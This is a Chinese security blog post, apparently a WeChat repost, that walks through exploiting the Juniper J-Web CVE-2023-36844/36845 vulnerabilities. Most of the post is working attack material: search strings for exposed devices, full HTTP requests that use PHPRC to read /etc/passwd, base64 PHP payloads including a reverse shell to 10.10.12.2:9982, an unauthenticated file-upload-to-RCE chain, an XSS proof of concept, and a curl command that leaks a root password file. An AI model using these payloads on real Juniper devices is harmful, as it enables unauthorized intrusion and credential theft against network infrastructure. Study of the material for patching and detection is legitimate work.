在进行一次实际的渗透测试项目时,意外发现Juniper系统,现如今该系统存在未修复的漏洞概率还是挺大的,官方给出的解决办法是禁用J-Web,或将访问限制为仅受信任的主机。可想而知目前能够访问的Juniper系统漏洞概率。通过简单的深入挖掘和了解,成功地获得目标服务器的权限,并最终成功获取了shell 权限。但也有很多命令执行等各方面的限制。
Juniper系统包含有四个CVE,由于这两个漏洞适用于两个不同的平台(Juniper -EX 交换机设备平台和-SRX 防火墙设备平台),这是两个单独的系统,最终导致为两个漏洞对应着四个CVE。在 CVSS 等级上每个CVE单独只有5.3分,但在组合进行注入和RCE攻击中,CVE-2023-36845的评分为9.8。
title="Juniper Web Device Manager"
title="J-Web"
漏洞
简介
Juniper Networks Junos OS EX是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和Junos SDK。
Juniper Networks Junos OS EX存在安全漏洞,该漏洞源于J-Web模块存在PHP外部变量修改漏洞。
CVE-2023-36845是一个 PHP 环境变量操纵漏洞,影响 Juniper SRX防火墙和EX交换机。瞻博网络将该漏洞评为中等严重性问题。
Juniper防火墙使用Appweb作为Web服务器。当Appweb调用CGI脚本时,它会传递多种环境变量和参数,以便脚本可以访问用户的HTTP请求。HTTP请求的正文通过stdin传递。受影响的防火墙运行FreeBSD,而每个FreeBSD进程都可以通过打开/dev/fd/0来访问其stdin。通过发送HTTP请求,可以向系统引入一个"文件"实体。
利用这个技巧,可以将PHPRC环境变量设置为/dev/fd/0,并在HTTP请求中包含所需的php.ini文件。将/etc/passwd文件预置到每个响应之前。通过将标准输入重定向到特定文件,实现对目标系统的攻击
POST /?PHPRC=/dev/fd/0 HTTP/1.1
Host: 10.10.12.1
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 31
auto_prepend_file="/etc/passwd"
通过启用allow_url_include,可以在 auto_prepend_file中使用任何协议包装器。常见的选择是使用data://的内联方式提供"第二个文件"。
1.将<?php phpinfo(); ?>进行base64编码得到:
PD9waHAgcGhwaW5mbygpOyA/Pg==
2.最终请求体内容如下:
allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="
1.使用get_current_user()获取当前用户,PHP代码如下:
$current_user = get_current_user();
echo "user:".$current_user;
2.最终请求体内容如下:
allow_url_include=1
auto_prepend_file="data://text/plain;base64,PD9waHAKJGN1cnJlbnRfdXNlciA9IGdldF9jdXJyZW50X3VzZXIoKTsKZWNobyAidXNlcjoiLiRjdXJyZW50X3VzZXI7Cj8+"
1.使用bin/bash反弹shell,PHP代码如下:
set_time_limit(0);
$ip = '10.10.12.2';
$port = 9982;
$sock = fsockopen($ip,$port);
while(!feof($sock)) {
$command = fgets($sock, 1024);
$output = shell_exec($command);
fwrite($sock, $output);
}
fclose($sock);
2.最终请求体内容如下:
allow_url_include=1
auto_prepend_file="data://bin/bash;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CiRpcCA9ICcxMC4xMC4xMi4yJzsKJHBvcnQgPSA5OTgyOwokc29jayA9IGZzb2Nrb3BlbigkaXAsJHBvcnQpOwp3aGlsZSghZmVvZigkc29jaykpIHsKCSRjb21tYW5kID0gZmdldHMoJHNvY2ssIDEwMjQpOwoJJG91dHB1dCA9IHNoZWxsX2V4ZWMoJGNvbW1hbmQpOwoJZndyaXRlKCRzb2NrLCAkb3V0cHV0KTsKfQpmY2xvc2UoJHNvY2spOwo/Pg=="
三、关键功能缺失身份验证漏洞
Juniper Networks Junos OS是美国瞻博网络(Juniper Networks)公司的一套专用于该公司的硬件设备的网络操作系统。该操作系统提供了安全编程接口和Junos SDK。
1.上传一个phpinfo脚本,由于do_upload的原因,需要进行Base64编码
<?php phpinfo();?>
base64编码后:PD9waHAgcGhwaW5mbygpOz8+
2.然后构造恶意的请求体,请求路径为/webauth_operation.php
rs=do_upload&rsargs[0]=[{"fileData":"data:text/html;base64,PD9waHAgcGhwaW5mbygpOz8+","fileName":"test.php","csize":18}]
3.将请求体的内容进行URL编码
rs=do_upload&rsargs%5B0%5D=%5B%7B%22fileData%22%3A%22data%3Atext%2Fhtml%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B%22%2C%22fileName%22%3A%22test.php%22%2C%22csize%22%3A18%7D%5D
POST /webauth_operation.php HTTP/1.1
Host: 10.10.12.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 171
rs=do_upload&rsargs%5B0%5D=%5B%7B%22fileData%22%3A%22data%3Atext%2Fhtml%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B%22%2C%22fileName%22%3A%22test.php%22%2C%22csize%22%3A18%7D%5D
1. 将第一步响应体中converted_fileName的php文件名称复制出来,构造payload,并且进行base64编码
auto_prepend_file="/var/tmp/921c7e42961b1c8c2af9cbdf71bf5422d7beafacb710b8a02d34136ce361f648.php"
YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzkyMWM3ZTQyOTYxYjFjOGMyYWY5Y2JkZjcxYmY1NDIyZDdiZWFmYWNiNzEwYjhhMDJkMzQxMzZjZTM2MWY2NDgucGhwIg==
2. base64编码填入请求包
rs=do_upload&rsargs[0]=[{"fileData":"data:plain/text;base64,YXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzkyMWM3ZTQyOTYxYjFjOGMyYWY5Y2JkZjcxYmY1NDIyZDdiZWFmYWNiNzEwYjhhMDJkMzQxMzZjZTM2MWY2NDgucGhwIg==","fileName":"test.ini","csize":97}]
3. 同样的步骤进行URL编码
rs=do_upload&rsargs%5B0%5D=%5B%7B%22fileData%22%3A%22data%3Aplain%2Ftext%3Bbase64%2CYXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzkyMWM3ZTQyOTYxYjFjOGMyYWY5Y2JkZjcxYmY1NDIyZDdiZWFmYWNiNzEwYjhhMDJkMzQxMzZjZTM2MWY2NDgucGhwIg%3D%3D%22%2C%22fileName%22%3A%22test.ini%22%2C%22csize%22%3A97%7D%5D
POST /webauth_operation.php HTTP/1.1
Host: 10.10.12.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
rs=do_upload&rsargs%5B0%5D=%5B%7B%22fileData%22%3A%22data%3Aplain%2Ftext%3Bbase64%2CYXV0b19wcmVwZW5kX2ZpbGU9Ii92YXIvdG1wLzkyMWM3ZTQyOTYxYjFjOGMyYWY5Y2JkZjcxYmY1NDIyZDdiZWFmYWNiNzEwYjhhMDJkMzQxMzZjZTM2MWY2NDgucGhwIg%3D%3D%22%2C%22fileName%22%3A%22test.ini%22%2C%22csize%22%3A97%7D%5D
发包请求,响应体中converted_fileName的值为新的php.ini配置文件名称。
使用PHPRC注入环境变量,构造请求路径
/webauth_operation.php?PHPRC=/var/tmp/d75a2defa0bad75fb6d87ae6b9c901a8e7f19568300d6daecfe5c14d885943d1.ini
最终URL:https://10.10.12.1/webauth_operation.php?PHPRC=/var/tmp/d75a2defa0bad75fb6d87ae6b9c901a8e7f19568300d6daecfe5c14d885943d1.ini
同样的方法可实现shell连接,但成功率较低。
该类系统还存在反射型XSS,相对于RCE倒是显得格外的微不足道,但是这种明显的缺陷也是可以提供其他攻击思路的。构造请求体poc如下:
请求路径:/webauth_operation.php
请求体:rs=emit_debug_note&rsargs[]=1,&rsargs[]=<script>alert('XSS')</script>"
使用上面提到的文件泄露机制,能够泄露配置时的根凭据,可能会有一个文件叫wiz_config_server.txt在/var/tmp/路径下。可能会显示root用户密码,实际测试中未发现,存在的可能性很低^_^。
$ curl -kv "http://10.12.72.1/about.php?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/var/tmp/wiz_config_server.txt"'
* Trying 10.12.72.1:80...
* TCP_NODELAY set
* Connected to 10.12.72.1 (10.12.72.1) port 80 (#0)
> POST /about.php?PHPRC=/dev/fd/0 HTTP/1.1
> Host: 10.12.72.1
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 50
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 50 out of 50 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 13 Sep 2023 23:27:51 GMT
< Server: Embedthis-Appweb/3.2.3
< Cache-Control: no-cache
< ETag: "1e0cc-40e-51b0b0ec"
< Content-Type: text/html
< Connection: keep-alive
< Keep-Alive: timeout=120, max=199
< Last-Modified: Wed, 13 Sep 2023 23:27:51 GMT
< x-powered-by: PHP/5.3.2
< Transfer-Encoding: chunked
<
…
",\"rootpassword\":\"labpass1\",
…
1.watchtowr团队
https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
2.vulncheck团队
https://vulncheck.com/blog/juniper-cve-2023-36845
3.watchtowr团队编写的漏洞利用脚本
https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844?ref=labs.watchtowr.com
4.官网补丁
https://supportportal.juniper.net/JSA72300
原文始发于微信公众号(笑谈安全阁):【漏洞复现】Juniper系统对应的四个CVE漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论